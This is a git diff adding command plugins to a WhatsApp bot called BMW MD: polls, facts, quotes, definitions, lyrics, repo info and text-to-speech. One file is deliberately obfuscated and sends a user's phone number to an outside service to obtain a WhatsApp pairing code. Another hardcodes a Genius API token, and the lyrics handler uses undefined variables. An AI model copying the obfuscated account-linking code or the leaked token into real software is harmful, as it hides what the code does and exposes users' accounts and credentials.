axios[_0x390aac(0xe3)](_0x390aac(0xde)+_0x390aac(0xea)+_0x390aac(0x97)+_0x390aac(0xb3)+_0x390aac(0x7b)+_0x161fe2+(_0x390aac(0x83)+_0x390aac(0xc5))),_0x51e389=_0x5abaf6[_0x390aac(0x9b)];_0x51e389?_0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x51e389[_0x390aac(0xd2)]):_0x49a275[_0x390aac(0x7a)](_0x8d5a47,_0x49a275[_0x390aac(0xe7)]);}catch(_0xdebc65){console[_0x390aac(0xe1)](_0x49a275[_0x390aac(0x94)],_0xdebc65[_0x390aac(0xd4)]||_0x49a275[_0x390aac(0xfd)]),_0x49a275[_0x390aac(0xbb)](_0x8d5a47,_0x49a275[_0x390aac(0xa7)]);}}),adams({'nomCom':_0x3a5fe3(0xd7),'reaction':'🤔','categorie':'IA'},async(_0x2291d5,_0x16d6c1,_0x57a3f1)=>{const _0x261896=_0x3a5fe3,_0x17f32e={'dwgJi':function(_0x1a93f6,_0x41ed98){return _0x1a93f6===_0x41ed98;},'Jwvaj':function(_0x485414,_0x81b8d7){return _0x485414(_0x81b8d7);},'mQMjj':function(_0x1790de,_0x20408d){return _0x1790de(_0x20408d);},'FlMCK':function(_0x3988f8,_0x4d8443){return _0x3988f8(_0x4d8443);},'zUhjN':_0x261896(0xec)+_0x261896(0x98)+_0x261896(0x7c)+_0x261896(0xca),'rVScb':_0x261896(0xdc),'FCnvD':_0x261896(0x8d)+_0x261896(0xeb)+_0x261896(0x91),'VpmRW':_0x261896(0x8a)+_0x261896(0xda)+_0x261896(0xa4)+_0x261896(0xf7)+_0x261896(0xa8)+_0x261896(0xf2)},{repondre:_0x20d6e8,arg:_0x22ec38,ms:_0x5c667f}=_0x57a3f1;try{if(!_0x22ec38||_0x17f32e[_0x261896(0xc7)](_0x22ec38[_0x261896(0xae)],-0x2450+-0x16e*0x7+0x2e52))return _0x17f32e[_0x261896(0xbd)](_0x20d6e8,_0x261896(0xd0)+_0x261896(0x9a)+'n.');const _0x3ae5a1=_0x22ec38[_0x261896(0xd5)]('\x20'),_0x293682=await axios[_0x261896(0xe3)](_0x261896(0xde)+_0x261896(0xea)+_0x261896(0x97)+_0x261896(0xb3)+_0x261896(0x7b)+_0x3ae5a1+(_0x261896(0x83)+_0x261896(0xc5))),_0x57c223=_0x293682[_0x261896(0x9b)];_0x57c223?_0x17f32e[_0x261896(0xb9)](_0x20d6e8,_0x57c223[_0x261896(0xd2)]):_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0xfa)]);}catch(_0x51db2e){console[_0x261896(0xe1)](_0x17f32e[_0x261896(0xf8)],_0x51db2e[_0x261896(0xd4)]||_0x17f32e[_0x261896(0xac)]),_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0x99)]);}});
diff --git a/scs/bmwqpa.js b/scs/bmwqpa.js
new file mode 100644
index 0000000..9a3227e
--- /dev/null
+++ b/scs/bmwqpa.js
@@ -0,0 +1 @@
+function _0x465a(_0x3d1296,_0x4804bb){const _0x48280b=_0x1b45();return _0x465a=function(_0x1a0515,_0x3b69ce){_0x1a0515=_0x1a0515-(0x42c+0xed5*-0x1+0x5*0x261);let _0x6de116=_0x48280b[_0x1a0515];return _0x6de116;},_0x465a(_0x3d1296,_0x4804bb);}function _0x1b45(){const _0x41e281=['@whiskeyso','se\x20from\x20Ap','LGZAQ','\x20254xxxxxx','https://ib','our\x20code\x20=','key','age:\x20.rent','data','xiLMS','IWYwZ','Generating','COPY\x20YOUR\x20','79604HECVBr','stringify','vZSHV','iDQWp','kIDyz','code?numbe','eys','266499bSNVIB','\x20*Made\x20by\x20','EnuNS','code','Message','BZpVM','Invalid\x20re','Footer','7975ivVfTi','ams*','s-kz7d.onr','error','1200KTwCHr','xx.','ender.com/','axios','KpwBg','/traductio','ckets/bail','sponse:','CODE','sponse\x20fro','1307848YNNewe','ZyYvP','Example\x20Us','Ibrahim\x20Ad','15JaHmVm','*\x0a\x0a\x20BMW\x20MD','628lXCmbP','EaIVU','/adams','Error\x20gett','82DPctps','7XzVjpP','join','message','375954ScfMRX','cta_copy','ing\x20respon','get','2992041oPuSAy','Body','eMessage','IhgHC','vpmWv','../Ibrahim','\x20your\x20code','relayMessa','NativeFlow','99jPVVPX','copy_code','KsAxt','50lSpqmX','ing\x20Api\x20re','*\x20*','rent','.....','Interactiv','User','Header','create','length','*Here\x20is\x20y','rahim-adam','m\x20Api.'];_0x1b45=function(){return _0x41e281;};return _0x1b45();}const _0x20ef16=_0x465a;(function(_0x154a24,_0x38127e){const _0x5561af=_0x465a,_0x5b1638=_0x154a24();while(!![]){try{const _0x57bba6=-parseInt(_0x5561af(0x186))/(0x80d*0x1+0x9e*-0x2f+0x14f6)*(parseInt(_0x5561af(0x18a))/(0xdd6+0x101*-0x22+0x144e))+parseInt(_0x5561af(0x146))/(0x1*-0x26dd+0x25b5*-0x1+0x4c95)*(parseInt(_0x5561af(0x163))/(-0xe*0x1b7+-0x53*-0x23+0x5*0x289))+parseInt(_0x5561af(0x184))/(0x1*-0x1737+-0x1*-0x1b30+-0x3f4)*(-parseInt(_0x5561af(0x18e))/(-0xc10+-0x576+0x463*0x4))+parseInt(_0x5561af(0x18b))/(0x10cb*0x2+-0x1*-0x194a+-0xbc5*0x5)*(parseInt(_0x5561af(0x180))/(-0x208f+0x71*0xc+0x1b4b))+-parseInt(_0x5561af(0x16a))/(-0xbe4*-0x1+0x1*0xdb+0x1*-0xcb6)*(-parseInt(_0x5561af(0x149))/(-0x2*-0xcd1+0x1e4a+-0x37e2))+parseInt(_0x5561af(0x172))/(0x119*0x21+0x97*-0x2e+-0x90c)*(-parseInt(_0x5561af(0x176))/(0x11*0xa9+0xb3a+-0x47b*0x5))+-parseInt(_0x5561af(0x13d))/(-0x2446+0x3*-0x10b+0x2774);if(_0x57bba6===_0x38127e)break;else _0x5b1638['push'](_0x5b1638['shift']());}catch(_0x14563b){_0x5b1638['push'](_0x5b1638['shift']());}}}(_0x1b45,0xd9f76+-0x939cf+-0x9fe2*-0x4));const {adams}=require(_0x20ef16(0x142)+_0x20ef16(0x188)),traduire=require(_0x20ef16(0x142)+_0x20ef16(0x17b)+'n'),{default:axios}=require(_0x20ef16(0x179)),pkg=require(_0x20ef16(0x156)+_0x20ef16(0x17c)+_0x20ef16(0x169)),{generateWAMessageFromContent,proto}=pkg;adams({'nomCom':_0x20ef16(0x14c),'reaction':'🚘','categorie':_0x20ef16(0x14f)},async(_0x2e0eb5,_0x44bcf5,_0x383a62)=>{const _0x2bde19=_0x20ef16,_0x16f3e1={'BZpVM':function(_0x38a3ce,_0x469ce0){return _0x38a3ce===_0x469ce0;},'xiLMS':function(_0x43766f,_0x45cfa6){return _0x43766f(_0x45cfa6);},'EnuNS':_0x2bde19(0x182)+_0x2bde19(0x15d)+_0x2bde19(0x159)+_0x2bde19(0x177),'KsAxt':_0x2bde19(0x161)+_0x2bde19(0x143)+_0x2bde19(0x14d),'vpmWv':function(_0x553af6,_0x444f94){return _0x553af6(_0x444f94);},'kIDyz':_0x2bde19(0x18f),'iDQWp':_0x2bde19(0x162)+_0x2bde19(0x17e),'ZyYvP':_0x2bde19(0x147),'IhgHC':function(_0x5117a9,_0x28ac8d,_0x1485f9,_0x4e4d57){return _0x5117a9(_0x28ac8d,_0x1485f9,_0x4e4d57);},'vZSHV':_0x2bde19(0x16b)+_0x2bde19(0x183)+_0x2bde19(0x173),'LGZAQ':_0x2bde19(0x170)+_0x2bde19(0x17f)+_0x2bde19(0x155),'EaIVU':_0x2bde19(0x189)+_0x2bde19(0x14a)+_0x2bde19(0x17d),'IWYwZ':function(_0x8c5e2c,_0x35f88b){return _0x8c5e2c(_0x35f88b);},'KpwBg':_0x2bde19(0x189)+_0x2bde19(0x190)+_0x2bde19(0x157)+'i.'},{repondre:_0x4dcc14,arg:_0x59a25f,ms:_0x4adfaf}=_0x383a62;try{if(!_0x59a25f||_0x16f3e1[_0x2bde19(0x16f)](_0x59a25f[_0x2bde19(0x152)],-0xa9b+0x1a8a+-0xfef*0x1))return _0x16f3e1[_0x2bde19(0x15f)](_0x4dcc14,_0x16f3e1[_0x2bde19(0x16c)]);await _0x16f3e1[_0x2bde19(0x15f)](_0x4dcc14,_0x16f3e1[_0x2bde19(0x148)]);const _0x34d71e=_0x16f3e1[_0x2bde19(0x141)](encodeURIComponent,_0x59a25f[_0x2bde19(0x18c)]('\x20')),_0x41faea=_0x2bde19(0x15a)+_0x2bde19(0x154)+_0x2bde19(0x174)+_0x2bde19(0x178)+_0x2bde19(0x168)+'r='+_0x34d71e,_0x6b1cd9=await axios[_0x2bde19(0x13c)](_0x41faea),_0x44eaf1=_0x6b1cd9[_0x2bde19(0x15e)];if(_0x44eaf1&&_0x44eaf1[_0x2bde19(0x16d)]){const _0x4e8828=_0x44eaf1[_0x2bde19(0x16d)],_0x3373e9=_0x2bde19(0x153)+_0x2bde19(0x15b)+_0x2bde19(0x14b)+_0x4e8828+_0x2bde19(0x185),_0x425e6c=[{'name':_0x16f3e1[_0x2bde19(0x167)],'buttonParamsJson':JSON[_0x2bde19(0x164)]({'display_text':_0x16f3e1[_0x2bde19(0x166)],'id':_0x16f3e1[_0x2bde19(0x181)],'copy_code':_0x4e8828})}],_0x57ca44=_0x16f3e1[_0x2bde19(0x140)](generateWAMessageFromContent,_0x2e0eb5,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x151)]({'body':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x13e)][_0x2bde19(0x151)]({'text':_0x3373e9}),'footer':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x171)][_0x2bde19(0x151)]({'text':_0x16f3e1[_0x2bde19(0x165)]}),'header':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x150)][_0x2bde19(0x151)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x145)+_0x2bde19(0x16e)][_0x2bde19(0x151)]({'buttons':_0x425e6c})})}}},{});await _0x44bcf5[_0x2bde19(0x144)+'ge'](_0x2e0eb5,_0x57ca44[_0x2bde19(0x18d)],{'messageId':_0x57ca44[_0x2bde19(0x15c)]['id']});}else throw new Error(_0x16f3e1[_0x2bde19(0x158)]);}catch(_0x336fe4){console[_0x2bde19(0x175)](_0x16f3e1[_0x2bde19(0x187)],_0x336fe4[_0x2bde19(0x18d)]),_0x16f3e1[_0x2bde19(0x160)](_0x4dcc14,_0x16f3e1[_0x2bde19(0x17a)]);}});
\ No newline at end of file
diff --git a/scs/bmwr.js b/scs/bmwr.js
new file mode 100644
index 0000000..46a24ce
--- /dev/null
+++ b/scs/bmwr.js
@@ -0,0 +1,114 @@
+const {
+ adams
+} = require("../Ibrahim/adams");
+const axios = require("axios");
+const Genius = require("genius-lyrics");
+const Client = new Genius.Client("jKTbbU-6X2B9yWWl-KOm7Mh3_Z6hQsgE4mmvwV3P3Qe7oNa9-hsrLxQV5l5FiAZO");
+adams({
+ 'nomCom': 'poll',
+ 'reaction': '💠',
+ 'categorie': "General"
+}, async (_0x30c4fc, _0x12f9f4, _0x257571) => {
+ const {
+ repondre: _0x394782,
+ arg: _0x3aacc5,
+ ms: _0x50fea5
+ } = _0x257571;
+ const _0x24dbc4 = _0x3aacc5.join(" ");
+ let [_0x48d7c3, _0x3c6856] = _0x24dbc4.split('/');
+ if (_0x24dbc4.split('/') < 0x2) {
+ return _0x394782("Incorrect format.\nExample: poll what is 1+1/2, 3, 4");
+ }
+ let _0x28e247 = [];
+ for (let _0x44e06d of _0x3c6856.split(',')) {
+ _0x28e247.push(_0x44e06d);
+ }
+ await _0x12f9f4.sendMessage(_0x30c4fc, {
+ 'poll': {
+ 'name': _0x48d7c3,
+ 'values': _0x28e247
+ }
+ });
+});
+
+adams({
+ 'nomCom': 'fact',
+ 'reaction': '👌',
+ 'categorie': 'User'
+}, async (_0x3c85fa, _0xe0dd81, _0x20339c) => {
+ const {
+ repondre: _0x12e23a,
+ arg: _0xec0687,
+ ms: _0x5d5368
+ } = _0x20339c;
+ const _0x5754a8 = await fetch("https://nekos.life/api/v2/fact");
+ const _0x21e127 = await _0x5754a8.json();
+ _0x12e23a(" *BMW MD FACT MESSAGE* \n*💠* " + _0x21e127.fact + "\n\n\n\n\n*©Ibrahim Adams*\n\n╔═════◇\n║◇ *BMW MD*\n╚════════════════════> ");
+});
+adams({
+ 'nomCom': "quote",
+ 'reaction': '🗿',
+ 'categorie': 'User'
+}, async (_0x139e97, _0xb6d444, _0x53dc51) => {
+ const {
+ repondre: _0x3bef2d,
+ arg: _0x135e01,
+ ms: _0x4a891b
+ } = _0x53dc51;
+ const _0x2784cf = await fetch('https://favqs.com/api/qotd');
+ const _0x1f25fb = await _0x2784cf.json();
+ const _0x2b238b = "\nBMW MD QUITE MESSAGE \n◇ _" + _0x1f25fb.quote.body + "_\n\n\n◇ *AUTHOR:* " + _0x1f25fb.quote.author + "\n\n\n\n\n◇ *©Ibrahim Adams**\n\n\n╔═════◇\n║◇ *BMW MD*\n╚════════════════════> ";
+ _0x3bef2d(_0x2b238b);
+});
+adams({
+ 'nomCom': 'define',
+ 'reaction': '😁',
+ 'categorie': "Search"
+}, async (_0x2d6773, _0x1778cf, _0x5bcf7e) => {
+ const {
+ repondre: _0x3c6e3b,
+ arg: _0x3997ea,
+ ms: _0x10a9bb
+ } = _0x5bcf7e;
+ if (!_0x3997ea || _0x3997ea.length === 0x0) {
+ return _0x3c6e3b("provide a term");
+ }
+ const _0x243eb3 = _0x3997ea.join(" ");
+ try {
+ let {
+ data: _0x31830d
+ } = await axios.get("http://api.urbandictionary.com/v0/define?term=" + _0x243eb3);
+ var _0x259634 = "\n Word: " + _0x243eb3 + "\n Definition: " + _0x31830d.list[0x0].definition.replace(/\[/g, '').replace(/\]/g, '') + "\n Example: " + _0x31830d.list[0x0].example.replace(/\[/g, '').replace(/\]/g, '');
+ return _0x3c6e3b(_0x259634);
+ } catch {
+ return _0x3c6e3b("No result for " + _0x243eb3);
+ }
+});
+adams({
+ 'nomCom': "lyrics",
+ 'reaction': '🗞',
+ 'categorie': "Search"
+}, async (_0x16b585, _0x24921b, _0x5047e1) => {
+ const {
+ repondre: _0x323d88,
+ arg: _0x47ee56,
+ ms: _0x26dbd3
+ } = _0x5047e1;
+ try {
+ if (!_0x47ee56 || _0x47ee56.length === 0x0) {
+ return _0x323d88("please provide me the song name");
+ }
+ const _0x2d6993 = _0x47ee56.join(" ");
+ const _0x19a972 = await Client.songs.search(_0x2d6993);
+ const _0x349a1c = _0x19a972[0x0];
+ const _0x3e8204 = await _0x349a1c.lyrics();
+ await _0x24921b.sendMessage(_0x16b585, {
+ 'text': _0x3e8204
+ }, {
+ 'quoted': _0x26dbd3
+ });
+ } catch (_0xe736b5) {
+ reply("I did not find any lyrics for " + text + ". Try searching a different song.");
+ console.log(_0xe736b5);
+ }
+});
diff --git a/scs/bmwrepo.js b/scs/bmwrepo.js
new file mode 100644
index 0000000..f3c3343
--- /dev/null
+++ b/scs/bmwrepo.js
@@ -0,0 +1,1338 @@
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+ 'value': true
+});
+const {
+ adams
+} = require("../Ibrahim/adams");
+adams({
+ 'nomCom': "repo",
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x256950, _0x3cdb38, _0x2c604e) => {
+ const _0x2f4eff = await fetch('https://api.github.com/repos/devibraah/BWM-XMD');
+ const _0x36b130 = await _0x2f4eff.json();
+ if (_0x36b130) {
+ const _0x50985d = {
+ 'stars': _0x36b130.stargazers_count,
+ 'forks': _0x36b130.forks_count,
+ 'lastUpdate': _0x36b130.updated_at,
+ 'owner': _0x36b130.owner.login
+ };
+ const _0x20cf11 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x50985d.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x50985d.stars + "\n🍴 Forks: " + _0x50985d.forks + "\n🌐 Repo: " + _0x36b130.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x3cdb38.sendMessage(_0x256950, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x20cf11
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+
+adams({
+ 'nomCom': "git",
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x2ad97e, _0xc5957d, _0x2a01f1) => {
+ const _0x23b84a = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x54f98d = await _0x23b84a.json();
+ if (_0x54f98d) {
+ const _0x33ab65 = {
+ 'stars': _0x54f98d.stargazers_count,
+ 'forks': _0x54f98d.forks_count,
+ 'lastUpdate': _0x54f98d.updated_at,
+ 'owner': _0x54f98d.owner.login
+ };
+ const _0x305ae3 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x33ab65.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x33ab65.stars + "\n🍴 Forks: " + _0x33ab65.forks + "\n🌐 Repo: " + _0x54f98d.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS";
+ await _0xc5957d.sendMessage(_0x2ad97e, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x305ae3
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': 'sc',
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x1f8a03, _0x41191c, _0x8dd7fa) => {
+ const _0x21464f = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x3fb866 = await _0x21464f.json();
+ if (_0x3fb866) {
+ const _0x4bac21 = {
+ 'stars': _0x3fb866.stargazers_count,
+ 'forks': _0x3fb866.forks_count,
+ 'lastUpdate': _0x3fb866.updated_at,
+ 'owner': _0x3fb866.owner.login
+ };
+ const _0x58e2e9 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4bac21.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4bac21.stars + "\n🍴 Forks: " + _0x4bac21.forks + "\n🌐 Repo: " + _0x3fb866.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x41191c.sendMessage(_0x1f8a03, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x58e2e9
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': 'script',
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x44e4c9, _0x300ccb, _0x323299) => {
+ const _0x10746e = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x40fb34 = await _0x10746e.json();
+ if (_0x40fb34) {
+ const _0x4777ba = {
+ 'stars': _0x40fb34.stargazers_count,
+ 'forks': _0x40fb34.forks_count,
+ 'lastUpdate': _0x40fb34.updated_at,
+ 'owner': _0x40fb34.owner.login
+ };
+ const _0x338973 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4777ba.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4777ba.stars + "\n🍴 Forks: " + _0x4777ba.forks + "\n🌐 Repo: " + _0x40fb34.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x300ccb.sendMessage(_0x44e4c9, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x338973
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/scs/bmws.js b/scs/bmws.js
new file mode 100644
index 0000000..ebf0562
--- /dev/null
+++ b/scs/bmws.js
@@ -0,0 +1,74 @@
+const googleTTS = require('google-tts-api');
+const {adams} = require("../Ibrahim/adams");
+
+
+adams( {
+ nomCom : "dit",
+ categorie : "tts",
+ reaction : "👄" },
+ async(dest,zk, commandeOptions)=> {
+
+const {ms,arg,repondre} = commandeOptions;
+ if (!arg[0]) {repondre("Insert a word");return} ;
+ const mots = arg.join(" ")
+
+const url = googleTTS.getAudioUrl( mots, {
+ lang: 'fr',
+ slow: false,
+ host: 'https://translate.google.com',
+});
+console.log(url);
+ zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
+
+
+
+
+}
+) ;
+
+adams( {
+ nomCom : "itta",
+ categorie : "tts",
+ reaction : "👄" },
+ async(dest,zk, commandeOptions)=> {
+
+const {ms,arg,repondre} = commandeOptions;
+ if (!arg[0]) {repondre("nana");return} ;
+ const mots = arg.join(" ")
+
+const url = googleTTS.getAudioUrl( mots, {
+ lang: 'ja',
+ slow: false,
+ host: 'https://translate.google.com',
+});
+console.log(url);
+ zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
+
+
+
+}
+) ;
+
+adams( {
+ nomCom : "say",
+ categorie : "tts",
+ reaction : "👄" },
+ async(dest,zk, commandeOptions)=> {
+
+const {ms,arg,repondre} = commandeOptions;
+ if (!arg[0]) {repondre("Insert a word");return} ;
+ const mots = arg.join(" ")
+
+const url = googleTTS.getAudioUrl( mots, {
+ lang: 'en',
+ slow: false,
+ host: 'https://translate.google.com',
+});
+console.log(url);
+ zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
+
+
+
+}
+) ;
+
diff --git a/scs/bmwt.js b/scs/bmwt.js
new file mode 100644
index 0000000..87f9a1d
--- /dev/null
+++ b/scs/bmwt.js
@@ -0,0 +1,62 @@
+function apply(map, text) {
+ let result = "";
+ for (let character of text.split("")) {
+ if (map[character] !== undefined) result += map[character];
+ else if (map[character.toLowerCase()] !== undefined) result += map[character.toLowerCase()];
+ else result += character;
+ }
+ return result;
+}
+
+function list(text, fancy) {
+ let styles = Object.keys(fancy).filter(e => e.length < 3);
